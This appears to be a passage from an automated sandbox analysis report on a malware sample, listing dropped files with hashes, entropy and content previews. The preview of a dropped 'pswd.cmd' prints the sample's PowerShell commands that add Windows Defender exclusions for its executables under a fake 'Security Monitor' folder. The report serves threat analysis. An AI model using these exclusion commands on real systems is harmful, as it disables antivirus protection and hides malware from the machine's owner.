Preview:	add-mpPreference : Operation failed with the following error: 0x800106ba. Operation: MpPreference. Target: .ConfigListExtension..At line:1 char:1.+ add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\'.+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~. + CategoryInfo : NotSpecified: (MSFT_MpPreference:root\Microsoft\...FT_MpPreference) [Add-MpPreference], . CimException. + FullyQualifiedErrorId : HRESULT 0x800106ba,Add-MpPreference. .add-mpPreference : Operation failed with the following error: 0x%1!x!.At line:1 char:1.+ add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\'.+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~. + CategoryInfo : NotSpecified: (MSFT_MpPreference:root\Microsoft\...FT_MpPreference) [Add-MpPreference], . CimException. + FullyQualifiedErrorId : HRESULT 0x800106ba,Add-MpPreference. .

C:\Users\user\AppData\Local\Temp\is-MAGA0.tmp\psout_p

Download File

Process:	C:\Windows\System32\cmd.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.886334581018452
Encrypted:	false
SSDEEP:	24:nt0vG74uEZE/ko+3bdhXUnt0ouEZE/ko+3bdhXUn:nt2ru+3EntTru+3En
MD5:	F764E5A374CB4979A739316DC628B58D
SHA1:	D7BEDF72C871CFC6CE0A2C261B812890926CAF33
SHA-256:	169726FB096AB72851E5E9102B644DBEF534E4F9815B0B67807DC72CCD987380
SHA-512:	D9110A7764933429275AC2DE0E1A3992BE8F263D286006DEDDE3D501C96B1D4934F20F235FF5C7A33E4C81BCFC0CE357F26A276721BCEFB76458D9796032CAE1
Malicious:	false
Reputation:	unknown
Preview:	add-mpPreference : Operation failed with the following error: 0x800106ba. Operation: MpPreference. Target: .ConfigListExtension..At line:1 char:1.+ add-mpPreference -ExclusionProcess 'C:\ProgramData\Security Monitor\* ....+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~. + CategoryInfo : NotSpecified: (MSFT_MpPreference:root\Microsoft\...FT_MpPreference) [Add-MpPreference], . CimException. + FullyQualifiedErrorId : HRESULT 0x800106ba,Add-MpPreference. .add-mpPreference : Operation failed with the following error: 0x%1!x!.At line:1 char:1.+ add-mpPreference -ExclusionProcess 'C:\ProgramData\Security Monitor\* ....+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~. + CategoryInfo : NotSpecified: (MSFT_MpPreference:root\Microsoft\...FT_MpPreference) [Add-MpPreference], . CimException. + FullyQualifiedErrorId : HRESULT 0x800106ba,Add-MpPreference. .

C:\Users\user\AppData\Local\Temp\is-MAGA0.tmp\pswd.cmd

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1100
Entropy (8bit):	5.220619971706481
Encrypted:	false
SSDEEP:	24:i+yuER4+yxdhl+yuEZaX+yxd0YQWl+yxd0YWl+yxd0YDzSl+yuEZ0YQt+yuEZ0Yx:tyrByRgyrYOyVQWgyVWgyVDzSgyrTQ4Q
MD5:	1B34CBBE417E8B55F2C88C21283BEB9B
SHA1:	ACF71DF16642D36383B594D0EB8DB84DF3A3DEB1
SHA-256:	5B02E16F3F5E727E5D0DBBCDEC695E8FD3055EBBF5F70749C87B32D392A624D4
SHA-512:	29F65FF5A507E7A92CA7B5458BF2EFF38B328C7B7E72DB067EB4D6EC813E5263462E635D59F93F0A921C989CCE1FFC04BDE9DDAD0B5297D27779C7450BC7A64C
Malicious:	false
Reputation:	unknown
Preview:	powershell.exe add-mpPreference -ExclusionProcess '[space]= .'..powershell.exe add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\' > psout..powershell.exe add-mpPreference -ExclusionProcess 'C:\ProgramData\Security Monitor\' > psout_p..powershell.exe add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe' > sout..powershell.exe add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\sps.exe' > spsout..powershell.exe add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spmm.exe' > spmmout..powershell.exe add-mpPreference -ExclusionProcess 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe' > sout_p..powershell.exe add-mpPreference -ExclusionProcess 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\sps.exe' > spsout_p..powershell.exe add-mpPreference -ExclusionPr

C:\Users\user\AppData\Local\Temp\is-MAGA0.tmp\sout

Download File

Process:	C:\Windows\System32\cmd.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.910532060752715
Encrypted:	false
SSDEEP:	24:nt0vG74xdM/ko+3bdhXUnt0oxdM/ko+3bdhXUn:nt2s+3EntTs+3En
MD5:	82AC9D66C12DB66A7B11616D6272EE70
SHA1:	0CF1745B4CCF5AD2724252E4AA4795EEA02B98D9
SHA-256:	2E9F5BFFEFD343DC1CACB0281503354CBF0983CBE33FD8672D46B83CBCE439B2
SHA-512:	FCCE3DA264216151DEBA0FFE7D3E6FD586F799CC36FD0AD3767F3F76B9CBC5567115E390A039CA90E446F44A7C1B49EEDB25E7C2772950F33A5EB0B331ECFCF8
Malicious:	false
Reputation:	unknown
Preview:	add-mpPreference : Operation failed with the following error: 0x800106ba. Operation: MpPreference. Target: .ConfigListExtension..At line:1 char:1.+ add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\{827 ....+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~. + CategoryInfo : NotSpecified: (MSFT_MpPreference:root\Microsoft\...FT_MpPreference) [Add-MpPreference], . CimException. + FullyQualifiedErrorId : HRESULT 0x800106ba,Add-MpPreference. .add-mpPreference : Operation failed with the following error: 0x%1!x!.At line:1 char:1.+ add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\{827 ....+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~. + CategoryInfo : NotSpecified: (MSFT_MpPreference:root\Microsoft\...FT_MpPreference) [Add-MpPreference], . CimException. + FullyQualifiedErrorId : HRESULT 0x800106ba,Add-MpPreference. .

C:\Users\user\AppData\Local\Temp\is-MAGA0.tmp\sout_p

Download File

Process:	C:\Windows\System32\cmd.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.886334581018453
Encrypted:	false
SSDEEP:	24:nt0vG74uEZj/ko+3bdhXUnt0ouEZj/ko+3bdhXUn:nt2rT+3EntTrT+3En
MD5:	FFF61011A1F9825A688F81389088CE9B
SHA1:	3DA64B96C17BF4C65E4CEE084113806FDC643EC4
SHA-256:	373DB8F54A4A96454377D1700B8F0F58EE15B4549DCC9CAEC328F6A7CAF124A6
SHA-512:	1770C0287CC51AAAA655D6E1937EC8D6794F9D14C2047E61EEAB46A988411BF866EBA3FCE906889CEFD9D2D31A2AEDED403ED6BDEDDFCBE917E95B65182EF3E2
Malicious:	false
Reputation:	unknown
Preview:	add-mpPreference : Operation failed with the following error: 0x800106ba. Operation: MpPreference. Target: .ConfigListExtension..At line:1 char:1.+ add-mpPreference -ExclusionProcess 'C:\ProgramData\Security Monitor\{ ....+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~. + CategoryInfo : NotSpecified: (MSFT_MpPreference:root\Microsoft\...FT_MpPreference) [Add-MpPreference], . CimException. + FullyQualifiedErrorId : HRESULT 0x800106ba,Add-MpPreference. .add-mpPreference : Operation failed with the following error: 0x%1!x!.At line:1 char:1.+ add-mpPreference -ExclusionProcess 'C:\ProgramData\Security Monitor\{ ....+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~. + CategoryInfo : NotSpecified: (MSFT_MpPreference:root\Microsoft\...FT_MpPreference) [Add-MpPreference], . CimException. + FullyQualifiedErrorId : HRESULT 0x800106ba,Add-MpPreference. .

C:\Users\user\AppData\Local\Temp\is-MAGA0.tmp\spmmout

Download File

Process:	C:\Windows\System32\cmd.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.910532060752715
Encrypted:	false
SSDEEP:	24:nt0vG74xdM/ko+3bdhXUnt0oxdM/ko+3bdhXUn:nt2s+3EntTs+3En
MD5:	82AC9D66C12DB66A7B11616D6272EE70
SHA1:	0CF1745B4CCF5AD2724252E4AA4795EEA02B98D9
SHA-256:	2E9F5BFFEFD343DC1CACB0281503354CBF0983CBE33FD8672D46B83CBCE439B2
SHA-512:	FCCE3DA264216151DEBA0FFE7D3E6FD586F799CC36FD0AD3767F3F76B9CBC5567115E390A039CA90E446F44A7C1B49EEDB25E7C2772950F33A5EB0B331ECFCF8
Malicious:	false
Reputation:	unknown
Preview:	add-mpPreference : Operation failed with the following error: 0x800106ba. Operation: MpPreference. Target: .ConfigListExtension..At line:1 char:1.+ add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\{827 ....+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~. + CategoryInfo : NotSpecified: (MSFT_MpPreference:root\Microsoft\...FT_MpPreference) [Add-MpPreference], . CimException. + FullyQualifiedErrorId : HRESULT 0x800106ba,Add-MpPreference. .add-mpPreference : Operation failed with the following error: 0x%1!x!.At line:1 char:1.+ add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\{827 ....+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~. + CategoryInfo : NotSpecified: (MSFT_MpPreference:root\Microsoft\...FT_MpPreference) [Add-MpPreference], . CimException. + FullyQualifiedErrorId : HRESULT 0x800106ba,Add-MpPreference. .

C:\Users\user\AppData\Local\Temp\is-MAGA0.tmp\spmmout_p

Download File

Process:	C:\Windows\System32\cmd.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.886334581018453
Encrypted:	false
SSDEEP:	24:nt0vG74uEZj/ko+3bdhXUnt0ouEZj/ko+3bdhXUn:nt2rT+3EntTrT+3En
MD5:	FFF61011A1F9825A688F81389088CE9B
SHA1:	3DA64B96C17BF4C65E4CEE084113806FDC643EC4
SHA-256:	373DB8F54A4A96454377D1700B8F0F58EE15B4549DCC9CAEC328F6A7CAF124A6
SHA-512:	1770C0287CC51AAAA655D6E1937EC8D6794F9D14C2047E61EEAB46A988411BF866EBA3FCE906889CEFD9D2D31A2AEDED403ED6BDEDDFCBE917E95B65182EF3E2
Malicious:	false
Reputation:	unknown
Preview:	add-mpPreference : Operation failed with the following error: 0x800106ba. Operation: MpPreference. Target: .ConfigListExtension..At line:1 char:1.+ add-mpPreference -ExclusionProcess 'C:\ProgramData\Security Monitor\{ ....+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~. + CategoryInfo : NotSpecified: (MSFT_MpPreference:root\Microsoft\...FT_MpPreference) [Add-MpPreference], . CimException. + FullyQualifiedErrorId : HRESULT 0x800106ba,Add-MpPreference. .add-mpPreference : Operation failed with the following error: 0x%1!x!.At line:1 char:1.+ add-mpPreference -ExclusionProcess 'C:\ProgramData\Security Monitor\{ ....+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~. + CategoryInfo : NotSpecified: (MSFT_MpPreference:root\Microsoft\...FT_MpPreference) [Add-MpPreference], . CimException. + FullyQualifiedErrorId : HRESULT 0x800106ba,Add-MpPreference. .

C:\Users\user\AppData\Local\Temp\is-MAGA0.tmp\spsout

Download File

Process:	C:\Windows\System32\cmd.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.910532060752715
Encrypted:	false
SSDEEP:	24:nt0vG74xdM/ko+3bdhXUnt0oxdM/ko+3bdhXUn:nt2s+3EntTs+3En
MD5:	82AC9D66C12DB66A7B11616D6272EE70
SHA1:	0CF1745B4CCF5AD2724252E4AA4795EEA02B98D9
SHA-256:	2E9F5BFFEFD343DC1CACB0281503354CBF0983CBE33FD8672D46B83CBCE439B2
SHA-512:	FCCE3DA264216151DEBA0FFE7D3E6FD586F799CC36FD0AD3767F3F76B9CBC5567115E390A039CA90E446F44A7C1B49EEDB25E7C2772950F33A5EB0B331ECFCF8
Malicious:	false
Reputation:	unknown
Preview:	add-mpPreference : Operation failed with the following error: 0x800106ba. Operation: MpPreference. Target: .ConfigListExtension..At line:1 char:1.+ add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\{827 ....+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~. + CategoryInfo : NotSpecified: (MSFT_MpPreference:root\Microsoft\...FT_MpPreference) [Add-MpPreference], . CimException. + FullyQualifiedErrorId : HRESULT 0x800106ba,Add-MpPreference. .add-mpPreference : Operation failed with the following error: 0x%1!x!.At line:1 char:1.+ add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\{827 ....+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~. + CategoryInfo : NotSpecified: (MSFT_MpPreference:root\Microsoft\...FT_MpPreference) [Add-MpPreference], . CimException. + FullyQualifiedErrorId : HRESULT 0x800106ba,Add-MpPreference. .

C:\Users\user\AppData\Local\Temp\is-MAGA0.tmp\spsout_p

Download File

Process:	C:\Windows\System32\cmd.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.886334581018453
Encrypted:	false
SSDEEP:	24:nt0vG74uEZj/ko+3bdhXUnt0ouEZj/ko+3bdhXUn:nt2rT+3EntTrT+3En
MD5:	FFF61011A1F9825A688F81389088CE9B
SHA1:	3DA64B96C17BF4C65E4CEE084113806FDC643EC4
SHA-256:	373DB8F54A4A96454377D1700B8F0F58EE15B4549DCC9CAEC328F6A7CAF124A6
SHA-512:	1770C0287CC51AAAA655D6E1937EC8D6794F9D14C2047E61EEAB46A988411BF866EBA3FCE906889CEFD9D2D31A2AEDED403ED6BDEDDFCBE917E95B65182EF3E2
Malicious:	false
Reputation:	unknown
Preview:	add-mpPreference : Operation failed with the following error: 0x800106ba. Operation: MpPreference. Target: .ConfigListExtension..At line:1 char:1.+ add-mpPreference -ExclusionProcess 'C:\ProgramData\Security Monitor\{ ....+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~. + CategoryInfo : NotSpecified: (MSFT_MpPreference:root\Microsoft\...FT_MpPreference) [Add-MpPreference], . CimException. + FullyQualifiedErrorId : HRESULT 0x800106ba,Add-MpPreference. .add-mpPreference : Operation failed with the following error: 0x%1!x!.At line:1 char:1.+ add-mpPreference -ExclusionProcess 'C:\ProgramData\Security Monitor\{ ....+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~. + CategoryInfo : NotSpecified: (MSFT_MpPreference:root\Microsoft\...FT_MpPreference) [Add-MpPreference], . CimException. + FullyQualifiedErrorId : HRESULT 0x800106ba,Add-MpPreference. .

C:\Users\user\AppData\Local\Temp\is-MAGA0.tmp\webbrowser.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	457728
Entropy (8bit):	6.59955980299879
Encrypted:	false
SSDEEP:	12288:oYP3U+DowYPZOobyfwOgM2evuRTQ8r5e:3knwGZO4ZBevgTQ
MD5:	5E952525D9379E001F1714DE9E87B50D
SHA1:	45A1F15E62D3BEBF80BFDE69B992448DA09369FA
SHA-256:	81DE9F4EE9164358163C7F2200522E5C518D649ED6868CC6F27DB2B831F42DA4
SHA-512:	FCCEFD5CEFA59AAE1CCF1DF61907720BFB753AA1A6094DCB9225BA0110172103980C77708B9BB36F9D329B890ECC3F279AEE325A780308E9AC127EDC99CF8D0D
Malicious:	false
Reputation:	unknown
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B..................................... ....@..............................................................................(...0...L.......................e......................................................\............................text............................... ..`.itext.............................. ..`.data...T.... ......................@....bss.....5...@...........................idata...(.........................@....edata...............H..............@..@.reloc...e.......f...J..............@..B.rsrc....L...0...L..................@..@....................................@..@........................................................................................................................................

C:\Users\user\AppData\Local\Temp\nse

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	381
Entropy (8bit):	2.957669131857705
Encrypted:	false
SSDEEP:	3:qTV2RUHWyoHyXSEXKankN+DpFFBXoVoGjVQXW5FFFJL5jVQX/F8hLBiXF8gXa2FG:qUUHW7SMN+kVoNm5Fdgy2agqrw6TGCn
MD5:	CA646054599235B2B76F1FBC55BEE078
SHA1:	3BB1035AF35EF6EB8D8B47F011D34C22AF06BF87
SHA-256:	2D4A26BFB4C9AB782FE70541FF4C25A64B848E1D27C8ECED2B36361C497D1AB3
SHA-512:	E082197D6F54A056058795C1785CA8561F0C83C5E497B7E6B71E224E7204BC3A511B0665726BB2AF8FE553251BC8829E07B017470C4F6E6F557BC6041A874B90
Malicious:	false
Reputation:	unknown
Preview:	Interface Statistics.... Received Sent....Bytes 1860400840 2165225800..Unicast packets 2167768 1190524..Non-unicast packets 0 0..Discards 0 0..Errors 0 0..Unknown protocols 0..

C:\Users\user\AppData\Local\Temp\sfkname.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\183942631522663\[space]= .exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	3.334679141051595
Encrypted:	false
SSDEEP:	3:AFF0dA:2F0C
MD5:	1BC225BA0EC9CF58344A4D5386858F5D
SHA1:	9242D5584D8CE4395F7B487A958F641507B484C5
SHA-256:	C20B721B6D405B01A7B225372393BACF0833572FA455FC2DAC6320190F7BB352
SHA-512:	BBE0E20F32FCCF69770BB9C3422E5FB896D5477CB248CA449DA686921D4D31A5354574F5A775AE6185336C5EAC7C97AE5F74C54F85FC6EC3A464ED012F68643C
Malicious:	false
Reputation:	unknown
Preview:	[space]= .exe

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 2 03:13:02 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9838927379487146
Encrypted:	false
SSDEEP:	48:89t0daST6el9H7idAKZdA1oehwiZUklqehDfy+3:8P+fm8fy
MD5:	329BBAC9FC67B1E725B12091653E2D8F
SHA1:	308C679773D425A5F469A953EE505F08CEB5B1F9
SHA-256:	1E7F985097D1377DF6395F8E4A33F05DAC9C6572C3C78F6377F4D811F75CC51F
SHA-512:	E0CF0CCC1E3191A24D3C469E9CC3BEC55D815A02438A4818FBAFCAEB20071B2898E5F57493D25E5904B1A05CD6037B6284E4552DB1A2699171609B3560320D83
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,......._....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.IBY.!....B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VBY.!....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VBY.!....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VBY.!..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VBY.!...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............i.v.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 2 03:13:02 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.9973142436821436
Encrypted:	false
SSDEEP:	48:8Xt0daST6el9H7idAKZdA1leh/iZUkAQkqehMfy+2:89+fk9Qpfy
MD5:	6D0715D20FDB58899114FEE59BEF1876
SHA1:	231F97E80EA120C10620100F63E0B0018307F5A2
SHA-256:	47B3B474D3239B3735C4F9AAEEF057F7A354C320B08BB6A00D4FC08830877FF7
SHA-512:	55005559356B6D1F7DD893F11784BB1BF896A51BF4C31CB48FDA8CD1B3E13524823D079F21D42F00D5DFEE7C87FBFD881421898C3F83FAF44C306B9573AFF2DA
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,....u\|._....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.IBY.!....B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VBY.!....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VBY.!....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VBY.!..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VBY.!...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............i.v.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Oct 5 07:00:51 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.006467670407011
Encrypted:	false
SSDEEP:	48:80t0daST6elbH7idAKZdA14t5eh7sFiZUkmgqeh7syfy+BX:8s+f6nwfy
MD5:	9DEE1E0E8D5348BFF9BCFA1CD84B63D0
SHA1:	3F8B6A13AFEA5E917C7226DAD234A8D2DE7CF60B
SHA-256:	9C0057109B8326764EF6FAEDB7383F25E426E66C266F2C0BB60F884B358CC615
SHA-512:	783EFAFE6AC1258367D58697F999B2FFEC95E7D6DDA05DAA19EC43C89C6CD442BFA8D27D942FC47271DDFF5E666782FCAA6267AF41D65E5CED899041CC39CF9A
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,.....C..b...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.IBY.!....B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VBY.!....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VBY.!....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VBY.!..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VEW.@...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............i.v.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 2 03:13:02 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9958933791302864
Encrypted:	false
SSDEEP:	48:8It0daST6el9H7idAKZdA16ehDiZUkwqehYfy+R:8w+f/afy
MD5:	477222A600C8B88089B615E4DB632200
SHA1:	0463CB5ABC7145594F0C9B85CA3899397B4A941C
SHA-256:	21E15291570209A57420B4577142FEF1D40C27197546D5402E5A158C802449C6
SHA-512:	563CDE8913F7D0F1B6D8018F8570781C19C3FAAFB9D089949C220038F18B6E722010FE7EB35A60410A99089D37C1D7B866AE4460719093880298C1B2F21DBD08
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,....3.._....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.IBY.!....B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VBY.!....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VBY.!....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VBY.!..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VBY.!...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............i.v.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 2 03:13:02 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.986379158293007
Encrypted:	false
SSDEEP:	48:8ct0daST6el9H7idAKZdA1UehBiZUk1W1qehmfy+C:8k+ff9Gfy
MD5:	4C39506B45DD933CC41F42089114671D
SHA1:	DE2333BF7D427158438E56415802C5C8DE12C327
SHA-256:	609BC47240562A5A371305D649F4781F36C66BFC2949A7E184C1DA5741DBF5B4
SHA-512:	EAECFF9FD21406296C9A48370858CCC7AA1F3A5016B6D186A2161259B40F23E2BE29E571496F17754BD69119498105D29A9C1CEC0ACCBA30DA1B07D4A402D7EF
Malicious:	false
Reputation:	unknown
